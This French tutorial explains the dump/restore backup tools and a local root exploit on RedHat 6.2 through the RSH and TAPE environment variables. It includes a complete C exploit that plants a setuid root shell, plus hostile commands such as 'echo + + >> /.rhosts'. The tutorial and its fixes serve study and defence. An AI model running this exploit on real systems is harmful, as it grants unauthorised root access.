---------------------------------------------------------------------------------------- I. RedHat Linux : dump & restore par Neofox ---------------------------------------------------------------------------------------- [ Introduction ] Nous allons parler d'un utilitaire présent sous linux auquel il est possible de faire exécuter nos propres commandes avec les privilèges root. Cette vulnérabilitée n'est pas trés détaillée, et les quelques textes qui y font référence n'abordent que l'aspect "exploit", mais je pense qu'il aussi instructif d'étudier le fonctionnement normal du programme en cause, afin de comprendre en quoi il peut être exploitable. On va donc voir en premier lieu à quoi sert ce programme, comment il s'utiliser, puis pourquoi est-ce qu'il est vulnérable, pour enfin expliquer comment écrire son "exploit" - décidemment, j'aime pas ce terme ". ++++ | Partie I : Dump en détail | ++++ => dump & restore => en remote 1. Dump & Restore : ___________________ [ Dump ] Il s'apelle dump, on le trouve sous linux dans /sbin. C'est un utilitaire de sauvegarde, dont voici un exemple de syntaxe: [root@localhost]# mkdir /test [root@localhost]# cd /test [root@localhost]# touch file1 file2 file3 file4 [root@localhost]# ls file1 file2 file3 file4 [root@localhost]# <= nous avons crée nos fichiers exemples, reste a les sauvegarder. [root@localhost]# dump 0f /backup /test DUMP: Date of this level 0 dump: Thu Feb 14 21:35:06 2002 DUMP: Date of last level 0 dump: the epoch DUMP: Dumping /dev/hda5 (/ (dir test)) to /backup DUMP: Label: none DUMP: [...] DUMP: finished in 1 seconds, throughput 321 KBytes/sec DUMP: Average transfer rate: 321 KB/s DUMP: DUMP IS DONE [root@localhost]# Voila, nous avons sauvegardé les fichiers de /test dans /backup : [root@localhost]# ls -al /backup -rw-r--r-- 1 root root 327680 fév 14 21:35 /backup [root@localhost]# Comme vous pouvez le voir ici, backup est un fichier et non un répertoire, contrairement à ce qu'on pourrait croire. En somme, tout le contenu de notre répertoire /test est à présent stocké dans "backup". Ainis, supposons que les fichiers de /test soient altérés ou détruits, vous seriez alors a même de les restaurer en intégralité, cela grâce à la commande 'restore' que nous verrons plus loin. La commande que nous avons utilisée est : # dump 0f /backup /test ¤ '0' désigne le niveau de sauvegarde. Ce chiffre peut varier entre 0 et 9. Plus le chiffre est petit, plus la sauvegarde sera complète. le niveau 0 correspond à une sauvegarde complète. Les niveaux 1 à 9 quant à eux, ne sauvegarderont que les fichiers modifiés depuis la dernière sauvegarde d'un niveau inférieur. ¤ L'option 'f' précède le nom du fichier de destination, dans lequel on va effectuer la sauvegarde. D'autres options sont disponnibles, mais je vous renvoie aux pages de man pour plus d'infos. ¤ backup est le fichier dans le quel va être effectué la sauvegarde. Je l'ai mis dans / mais vous pouvez tout aussi bien effectuer la sauvegarde ailleurs. ¤ /test est le répertoire qui va être sauvegardé par dump. Le fichier /etc/dumpdates enregistre les dates des sauvegardes. De cette manière dump peut prendre conaissance de la date de la dernière sauvegarde pour déterminer quels fichiers on été changés depuis. Il va ne va donc sauvegarder que les denières modifications, ceci biensur dans le cas où vous utilisez un autre niveau de sauvegarde que le niveau 0. Vous avez sauvegardé les fichiers vitaux de votre système, comme par exemple /etc. S'il vous arrivait par la suite, d'endomager involontairement un fichier clé, par erreur, genre : [root@localhost]# rm -f /etc/passwd* <= Oups !? Bon, ça c'est l'exemple à la con, mais tout ça pour dire que si un de ces fichiers est altéré, il serait alors possible de restaurer le contenu du répertoire à partir de vôtre sauvegarde, et ceci grâce à un outil nommé "restore". [ restore ] /sbin/restore permet comme son nom l'indique et comme nous l'avons déja dit, sert à restaurer un système de fichiers à partir de la dernière sauvegarde qui en a été faite. Voici un exemple d'utilisation, on continue avec l'exemple précédent : [root@localhost]# cd /test [root@localhost]# ls test1 test2 test3 test4 [root@localhost]# rm -f test3 test4 [root@localhost]# ls test1 test2 [root@localhost]# <= on a volontairement supprimé les fichiers 3 et 4 que nous avions préalablement sauvegardé. [root@localhost]# cd / [root@localhost]# pwd / [root@localhost]# restore rf /backup /test [root@localhost]# cd /test [root@localhost]# ls test1 test2 test3 test4 [root@localhost]# <= Les fichiers que nous avions supprimé il y a 10 sec viennent d'être restaurés en fonction de la sauvegarde qui en avait été faite avec dump. La syntaxe de restore que nous avons utilisée est : [root@localhost]# restore rf /backup /test ¤ 'r' signifie que l'on demande un restauration compléte du système de fichiers à partir de la sauvegarde. ¤ 'f' permet de spécifier le fichier de sauvegarde à utiliser pour la restauration. En l'occurence, il s'agit de /backup. ¤ /backup, comme nous venons de le dire, est le fichier de sauvegarde que nous avons réalisé tout à l'heure avec dump. ¤ /test est le système de fichier qui a été altéré, ou que l'on veut remettre en plaçe selon une ancienne configuration. Pour plus de détails sur les options de restore, même topo que pour dump, reportez vous à man. Voila, nous avons vu comment fonctionnent restore et dump, dumoins pour ce qui est de l'utilisation locale ... 2. En Remote : _______________ Eh oui, comme le laissait entendre ma dernière phrase, dump et restore sont également prévus pour une utilisation à distance. En effet, il est possible de sauvegarder une partie du disque local sur le disque ou sur le /dev/st0 (tape) d'une machine distante. De même, on peut restaurer un système de fichier à partir d'une sauvegarde distante. Il faut être root pour effectuer une sauvegarde/restauration en remote. [ Fonctionnement ] Pour reprendre mon exemple de tout à l'heure, nous allons sauvegarder le contenu du répertoire /test dans le fichier nommé "backup" et situé à la racine d'une machine distante que l'on apellera "machine.distante.com" ( je me suis visiblement pas trop foulé pour le nom ... ) : [root@localhost]# dump 0f machine.distante.com:/backup /test DUMP: Date of this level 0 dump: Sun Feb 17 19:27:30 2002 DUMP: Date of last level 0 dump: Thu Feb 14 21:35:06 2002 DUMP: Dumping /dev/hda5 (/ (dir test)) to machine.distante.com:/backup DUMP: Label: none DUMP: [...] DUMP: finished in 1 seconds, throughput 321 KBytes/sec DUMP: Average transfer rate: 321 KB/s DUMP: DUMP IS DONE [root@localhost]# cd /test [root@localhost]# ls test1 test2 test3 test4 [root@localhost]# rm -f test3 test4 [root@localhost]# ls test1 test2 [root@localhost]# cd ../ [root@localhost]# restore -rf machine.distante.com:/backup /test [root@localhost]# cd /backup [root@localhost]# ls test1 test2 test3 test4 [root@localhost]# echo "tous nos fichiers sont de nouveau là ;@)" tous nos fichiers sont de nouveau là ;@) [root@localhost]# Effectuer des backups en remote sur une machine distante suppose d'y être autorisé ... Ce sont donc les fichiers .rhosts qui vont être utilisés par la machine distante pour authentifier le client et déterminer déterminer s'il peut oui ou non y effectuer une sauvegarde. Lorsque l'option 'f' n'est pas spécifiée dans le cas d'une sauvegarde ou d'une restauration à distance, dump & restore explorent le contenu de deux varaibles d'environement : TAPE et RSH. [ TAPE ] La variable TAPE permet à dump et restore de déterminer le nom du fichier de sauvegarde, ainis que le nom de la machine sur laquelle ou depuis laquelle la sauvegarde doit être sotckée ou restaurée. Le contenu de cette variable est du type "machine:/fichier_backup" ou encore "user@machine:/fichier_backup". La variable TAPE doit donc contenir le caractère séparateur ":". Si cette varaible est déclarée, dump et restore explorent alors le contenu de la variable RSH. [ RSH ] Aprés avoir déterminé le nom de la machine et du fichier distant, dump et restore doivent connaître le nom du remote shell à invoquer pour effectuer la backup ; par remote shell, j'entends rlogin/rsh/ssh. En d'autres termes, dump va exécuter le contenu de cette variable. ++++ | Partie II : Exploiter dump & restore | ++++ => Explications => Programmation => env.c [ Avertissement ] Nous venons de voir comment fonctionnent les utilitaires dump et restore dans le cadre d'une utilisation locale et à distance. Si nous en sommes arrivés là, c'est pour parler de la manière de les détourner pour gagner un accès root. Et c'est là que je dois préciser quelque chose : je n'ai rien inventé ; la découverte de cette vulnérabilité n'est pas de moi, d'ailleurs je ne prétends pas qu'il en soit autrement, qu'il n'y ait pas de mal entendu ! Autre chose : dans un de ses articles, par ailleurs excellents, Sauron fait référence à cette faille en guise d'exemple, pour illustrer les problèmes dus aux varaibles d'environement ; je ne fais ici que détailler le fonctionnement des deux variables en cause et proposer un petit cours sur l'excriture de l'exploit qui s'y rapporte, sans plus. Puisque tout est clair à présent, nous pouvons continuer. 1. Explications : _________________ Le but est de faire exécuter à dump nos propres commandes avec les privilèges root. Il faut pour cela que dump soit suid, de même que restore. On sait que, lors d'une demande de sauvegarde à distance, dump fait appel aux variables TAPE et RSH pour savoir où envoyer la sauvegarde et via quel remote shell exécuter la demande. L'idée est de faire passer à $RSH notre propre commande, pour que celle-ci soit exécutée par dump. Il faut pour cela remplir la variable $TAPE comme s'il s'agissait d'une sauvegarde à distance, donc avec un truc comme "machine:/file". Si cette variable est déclarée, dump ( ou restore ) va alors exécuter le contenu de $RSH. En faisant exécuter à $RSH notre propre script, on peut se créer un shell suid, ou mettre /etc/passwd en lecture écriture, ou encore faire "echo + + >> /.rhosts", mais le shell suid reste le plus discret. Bien évidemment, on peut faire notre manip manuellement, mais c'est tellement plus marrant la programmer ... question de point de vue ! [ Qui est vulnérable ? ] Cette vulnérabilité de dump/restore est présente par défaut sur les RedHat 6.2. J'ai pu constater sur ma Rh7.0 que le problème était corrigé. /sbin/dump n'était pas suid à l'origine, je l'ai donc mis au mode 6755 pour voir s'il y avait moyen d'en abuser ; en tant que simple utilisateur, on peut toujours faire exécuter des commandes à dump, mais les privilèges root ne s'appliquent pas, même si ce dernier est suid. En effet, les versions vulnérables sont "dump-0.4b15x" et "restore-0.4b15x", et ce sont ces dernières que l'on trouve sur les 6.2 par défaut. Si votre machine semble présenter cette vulnérabilité, deux solutions s'offrent à vous pour remédier au problème : chmod -s /sbin/dump /sbin/restore et mise à jour des packages. 2. Programmation : __________________ On va procéder par étapes : ¤ Etape 1 : on s'assure que dump et restore sont suid. ¤ Etape 2 : on crée un script contenant nos commandes. ¤ Etape 3 : on rend notre script exécutable. ¤ Etape 4 : on déclare la variable TAPE="test:test". ¤ Etape 5 : on déclare RSH pour lançer notre script. ¤ Etape 6 : Enfin, exécute au choix dump ou restore. [ Etape 1 ] Bien, commençons par le commençement ; on va controler que dump ou restore ou les deux sont bien présents et si c'est le cas, qu'ils sont bien suid. On va pour cela utiliser la fonction : stat(). Il faut au préalable déclarer le fichiers "sys/stat.h", "sys/types.h" et "unistd.h". La fontction stat() utilise une structure du type "stat" pour donner des informations relatives à un fichier. Voici la composition siplifiée de la structure stat : struct stat { mode_t st_mode /* Bits de permission de l'objet */ uid_t st_uid /* uid du fichier */ gid_t st_gid /* sont gid */ time_t st_ctime /* heure de la dernière modification */ } En réalité, la sturcutre stat est plus complexe, mais voici de quoi nous occuper. Ce qui nous intéresse ici, c'est le champ st_mode, puisqu'il va nous permettre de connaître le mode de dump/restore, afin de déterminer s'ils sont suid ou non. Compilez et d'exécutez le code suivant : ---------8<---------------------------------------------------------- #include #include #include #include sturct stat status; int main (int argc, char *argv[]){ if(argc!=2){ fprintf(stderr,"Usage : %s file\n", argv[0]); exit(1); } if(stat(argv[1],&status)!=-1){ fprintf(stdout,"Le mode de %s est %d\n",argv[1],status.st_mode); } else { fprintf(stderr,"%s n'existe pas !\n", argv[1]); exit(-1); } } ---------8<---------------------------------------------------------- Si voulez afficher le mode d'un binaire suid, vous remarquez que les nombres qui aparaissent ne sont pas comme on pourrait s'y attendre les traditionnels 04755, 06755 et autres. Nous voulons que dump soit suid et généralement, lors qu'il l'est par défaut, on le trouve au mode 04755 ou 06755 ; voici donc la correspondance entre la valeur générée par stat(), le mode littéral et le mode octal. Un exemple : -rwsr-sr-x 06755 => 36333 -rwsr-xr-x 04655 => 35309 Vous voyez que les valeurs générées par stat() sont bien différentes des modes habituels. On peut également utilser d'autres valeurs correspondant à d'autres modes où l'exécutable est suid. Dans tous les cas, il faut pour que dump soit exploitable, que dump apartienne au root. Nous allons plaçer le code suivant pour contrôler que l'exécutable ait les bons droits : if((status.st_mode!=36333)&& (status.st_mode!=36351)&& (status.st_mode!=35309)&& (status.st_mode!=35145)){ fprintf(stderr,"/sbin/dump n'est pas suid, exiting!\n",); exit(-1); } [ Etape 2 et 3 ] Nous voulons un shell suid. On va dans un premier temps créer un script avec nos commandes. Exemple : $ echo "cp /bin/sh $HOME/shell" > /tmp/script $ echo "chmod 6755 $HOME/shell" >> /tmp/script $ chmod +x $HOME/shell Ce qui donne en C : fd=fopen(SCRIPT, "w"); fprintf(fd,"#!/bin/sh\n"); fprintf(fd,"cp /bin/sh %s\n",SHELL); fprintf(fd,"chown root %s\n",SHELL); fprintf(fd,"chgrp root %s\n",SHELL); fprintf(fd,"chmod 6755 %s\n",SHELL); fprintf(fd,"rm -f %s\n", SCRIPT); fclose(fd); chmod(SCRIPT,00555); [ Etape 4 et 5 ] On s'occupe de $TAPE et $RSH : setenv("TAPE","test:test",0); setenv("RSH",SCRIPT,0); [ Etape 6 et 7 ] Voila, les conditions sont réunies, nos variables déclarées et notre script fin prêt à être exécuté : reste à apeller dump : system("dump -0 /nimportequoi"); Notre script a été exécuté avec les propriétés du root, et nous a crée un shell suid dans notre homedir. Si tout s'est bien passé, nous devrions avoir accès au compte root. Comme vous pouvez le constater, c'est relativement simple, encore fallait il connaître le fonctionnement des programmes en cause. 3. env.c : __________ Voici en guise d'illustration "l'exploit" en C pour cette vulnérabilité. Je tiens à nouveau a preciser que je la découverte de cette faille n'est pas de moi ; je n'ai rien inventé et donc aucun mérite ; j'ai simplement détaillé une vulnérabilité a laquelle Sauron faisait référence dans l'un de ses articles, et transposé la manip en C. Ah, j'oubliais : j'ai utilisé des sleep() ici, mais c'est juste pour faire joli lors de l'exécution ... ---------8<---------------------------------------------------------- /* Simply exemple of dump exploit * -by the guy who wrote this * Copyright © 2002 nobody */ #include /* printf, fprintf */ #include /* fopen, fclose */ #include /* sleep */ #include /* setenv, getenv, unsetenv */ #include /* stat */ #include /* stat */ #include /* stat */ #define CMD "dump -0 /null" /* used to run dump */ #define SHELL "$HOME/shell" /* suid shell */ #define DUMP "/sbin/dump" /* what ? */ #define SCRIPT "/tmp/script" /* script run by dump */ #define TAPEVALUE "test:/test" /* $TAPE */ FILE *fd; char buf[50]; struct stat status; int main ( int argc, char *argv[] ){ if(argc!=1){ fprintf(stderr,"Usage : %s\n", argv[0]); exit(-1); } fprintf(stderr,"*** Dump | Restore simply exploit ***\n"); fprintf(stderr,"[1]-Checking dump ..."); sleep(1); if (stat(DUMP,&status)==-1 ){ fprintf(stderr,"error!\n"); fprintf(stderr,"[*]-Can't find %s , exiting!\n",DUMP); exit(-1); } else { if((status.st_mode!=36333)&& (status.st_mode!=36351)&& (status.st_mode!=35309)&& (status.st_mode!=35145)){ fprintf(stderr,"error!\n"); fprintf(stderr,"[*]-%s n'est pas suid, exiting!\n",DUMP); exit(-1); } else fprintf(stdout," done!\n"); } fprintf(stderr,"[2]-Creating %s ...", SCRIPT);sleep(1); fd=fopen(SCRIPT, "w"); fprintf(fd,"#!/bin/sh\n"); fprintf(fd,"cp /bin/sh %s\n",SHELL); fprintf(fd,"chown root %s\n",SHELL); fprintf(fd,"chgrp root %s\n",SHELL); fprintf(fd,"chmod 6755 %s\n",SHELL); fprintf(fd,"rm -f %s\n", SCRIPT); fclose(fd); chmod(SCRIPT,0555); fprintf(stderr," done!\n"); system("ls -al /tmp/script"); fprintf(stderr,"[3]-Setting TAPE and RSH ...");sleep(1); setenv("RSH",SCRIPT,0); setenv("TAPE",TAPEVALUE,0); fprintf(stderr," done!\n"); fprintf(stderr,"[4]-We're ready : running %s ...\n",DUMP);sleep(1); system(CMD); fprintf(stderr,"[5]- Allright, exiting!\n"); sprintf(buf,"ls -al %s",SHELL); system(buf); return 0; } ---------8<---------------------------------------------------------- [ Conclusion ] Pourquoi avoir parlé de cette vulnérabilité ? Je sais pas ; sûrement parceque je trouve le concept assez sympathique, question de point de vue ; et en théorie, pas besoin d'avoir recours à la prog. C, mais bon ... on aime ça non ?